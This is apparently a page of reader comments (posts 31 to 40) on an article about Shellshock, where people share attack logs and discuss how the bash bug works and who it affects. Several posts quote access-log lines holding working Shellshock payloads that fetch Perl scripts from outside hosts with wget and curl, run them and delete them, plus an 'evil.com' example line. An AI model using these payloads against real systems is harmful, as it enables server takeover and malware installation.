Long ago writing testing exploits on a Solaris machine, I'd use the payload of "/sbin/eject" because it was very simple to see if the attack succeeded. No need to look through logs; just see the cup-holder open up obediently. So the opening really took me back.
Inside Shellshock: How hackers are using it to exploit systems
31–40 of 94 posts
Re: Inside Shellshock: How hackers are using it to exploit systems
#32It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…
I've also seen some in the wild, and I'm behind CloudFlare. CloudFlare have stopped the attacks reaching us now, but a few got through on the 29th September (this is a Pro account). I'm not sure precisely when the CloudFlare protection started, but all servers involved were patched as soon as the patches were available (before the first attacks reached my servers).
The log file entries:
200.91.29.35 - - [29/Sep/2014:17:18:44 +0000] "GET /conversations/626/&sa=U&ei=IoYpVKPNNMPmsASpzoLwAg&ved=0CJoBEBYwFzi8BQ&usg=AFQjCNHTmJMWiGvhfCfRFEM_vtu6-SSafQ//cgi-bin/env.pl HTTP/1.1" 301 5 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
200.91.29.35 - - [29/Sep/2014:17:18:45 +0000] "GET /conversations/626/%26amp%3Bsa%3DU%26amp%3Bei%3DIoYpVKPNNMPmsASpzoLwAg%26amp%3Bved%3D0CJoBEBYwFzi8BQ%26amp%3Busg%3DAFQjCNHTmJMWiGvhfCfRFEM_vtu6-SSafQ//cgi-bin/env.pl/ HTTP/1.1" 404 10779 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
200.91.29.35 - - [29/Sep/2014:17:18:45 +0000] "GET //cgi-bin/env.pl HTTP/1.1" 301 5 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
200.91.29.35 - - [29/Sep/2014:17:18:46 +0000] "GET /cgi-bin/env.pl/ HTTP/1.1" 404 10637 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
200.91.29.35 - - [29/Sep/2014:17:18:46 +0000] "GET /conversations/626//cgi-bin/env.pl HTTP/1.1" 301 5 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
200.91.29.35 - - [29/Sep/2014:17:18:47 +0000] "GET /conversations/626//cgi-bin/env.pl/ HTTP/1.1" 404 10656 "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;" "() { :; }; \x22exec('/bin/bash -c cd /tmp ; curl -O http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget http://xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;')\x22;"
Re: Inside Shellshock: How hackers are using it to exploit systems
#33It is in the wild. As seen on my machine, on a domain name that I use only for email at the moment: XXX.access.log:174.143.168.121 - - [30/Sep/2014:12:40:21 -0400] "GET //cgi-bin/bash HTTP/1.0" 404 168 "-" "() { :;}; /bin/bash -c \x22wget ellrich.com/legend.txt -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22" The payload is a perl script, which I posted to http://pastebin.ca/2850380 I sugges…
Wow, that same machine is hitting one of my servers. Interesting.
3rd that - Exact same ip and domain.
Re: Inside Shellshock: How hackers are using it to exploit systems
#34That /^cleanlogs/ just made me cringe. Holy crap.
I feel like there should be some way to verify that logs have not been tampered with. For example, including a checksum of the file up until that point on each line. Unfortunately they could just be rewritten after the log has changed. The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.
Re: Inside Shellshock: How hackers are using it to exploit systems
#35Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned.
As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywhere near a shell.
Yes, I do know that cgi-bins are vulnerable, but is that surprising or concerning? I fully expect 1990s technology to be riddled with vulnerabilities.
Heartbleed was scary because modern, highly secure websites were vulnerable. Is that even remotely the case with Shellshock?
Re: Inside Shellshock: How hackers are using it to exploit systems
#36Perhaps someone could enlighten me, but even after reading this and several other articles about Shellshock I really don't understand why we should be so concerned. As I understand it, user input somehow has to make its way to a shell for Shellshock to matter. I honestly can't imagine why 99.9999% of websites would ever do that—even without Shellshock, it sounds horribly insecure and dangerous to let user input anywh…
The reason for concern is that it's fairly easy for user data to reach bash at some point. Any call to system() or popen() on a system that has /bin/bash as /bin/sh (people say it's quite common) will trigger ShellShock - and that includes all cases where PHP code under Apache does that. Also you don't have to actually reference malicious input anywhere; Apache will happily pass it for you.
Re: Inside Shellshock: How hackers are using it to exploit systems
#37Earlier quoted context omitted.
My take is that what's happening right now is mass reconnaissance. Since the Shellshock problem will only occur on sites (or specific pages) where bash is invoked it's necessary to go round and figure out what's vulnerable. I'd guess that blackhats and whitehats are all out building those lists of vulnerable machines. They can then go back and exploit them en masse later.
I know you wrote this article, but I'm going to have to disagree with you. Many of the bots have payloads that look like "wget http://evil.com/script.pl -O /tmp/script; perl /tmp/script; rm /tmp/script". There is no reason for them to do reconnaisance when they can have arbitrary code execution simultaneously. There aren't going to be that many popped servers because the number of Internet-facing web apps that use CG…
Understood. I based the claim that it was mostly reconnaissance right now on the fact that 83% of all the requests we were seeing were reconnaissance and not dropping malware. But, I agree, there is a lot of malware being dropped as well.
Re: Inside Shellshock: How hackers are using it to exploit systems
#38118.192.48.6 - - [28/Sep/2014:20:30:22 +0000] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 767 " http://www.baidu.com" "() { :; }; echo X-Bash-Test: `echo iOGFtdnW7o`;" My app runs on bottlepy.org, so I assume I'm not at risk? I don't do any popen() stuff.
Even if you use popen() or system() in your application, Debian/Ubuntu machines are not affected. These distributions don't use bash for /bin/sh. `dash`(Debian ash) is used instead. Good work, Debian!
Depends on which Debian version you're running:
"Up to DebianLenny, the default /bin/sh shell was bash. Starting with DebianSqueeze, the default shell will be dash (see DashAsBinSh)."
[https://wiki.debian.org/Shell]
I think the safest thing here is to update no matter what shell your system is using. There is a multitude of vectors on how to attack a vulnerable machine if it has Bash installed on it.
Re: Inside Shellshock: How hackers are using it to exploit systems
#39> (I've omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.) Can anybody point me to a good explanation of ShellShock's technical details?
In bash, function definitions can be exported via environment variables; in handling that bash also executes whatever immediately follows the function definition; Apache sets environment variables (without sanitizing them for the above) based on incoming HTTP request headers which are controlled by end user clients. Because this functionality in bash predated Apache, it could be argued that Apache ought to perform sa…
> but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug.
From the article you linked:
> Since Bash is both a command interpreter and a command, it is possible to execute Bash from within Bash. When this happens, the original instance can export environment variables and function definitions into the new instance.[16] Function definitions are exported by encoding them within the environment variable list as variables whose values begin with parentheses ("()") followed by a function definition. The new instance of Bash, upon starting, scans its environment variable list for values in this format and converts them back into internal functions.
I had this strange feeling after reading this, that it's been long time since people worked with low-level code. It's like the difference between method dispatch in C++ and, say, Python. In the latter, it's magic, it works and you don't care. In the former, it's part of basic language knowledge to understand how virtual methods are implemented by a hack involving pointers to arrays of function pointers (aka. vtables).
Re: Inside Shellshock: How hackers are using it to exploit systems
#40Great article. I'm surprised there were no examples of fork bombs in the DOS section, though : ) http://en.m.wikipedia.org/wiki/Fork_bomb
Not much point in killing a computer you've just unlocked for yourself. Much more profitable to use it as a spam node or launching platform for TCP/UDP/DNS DDOS attacks.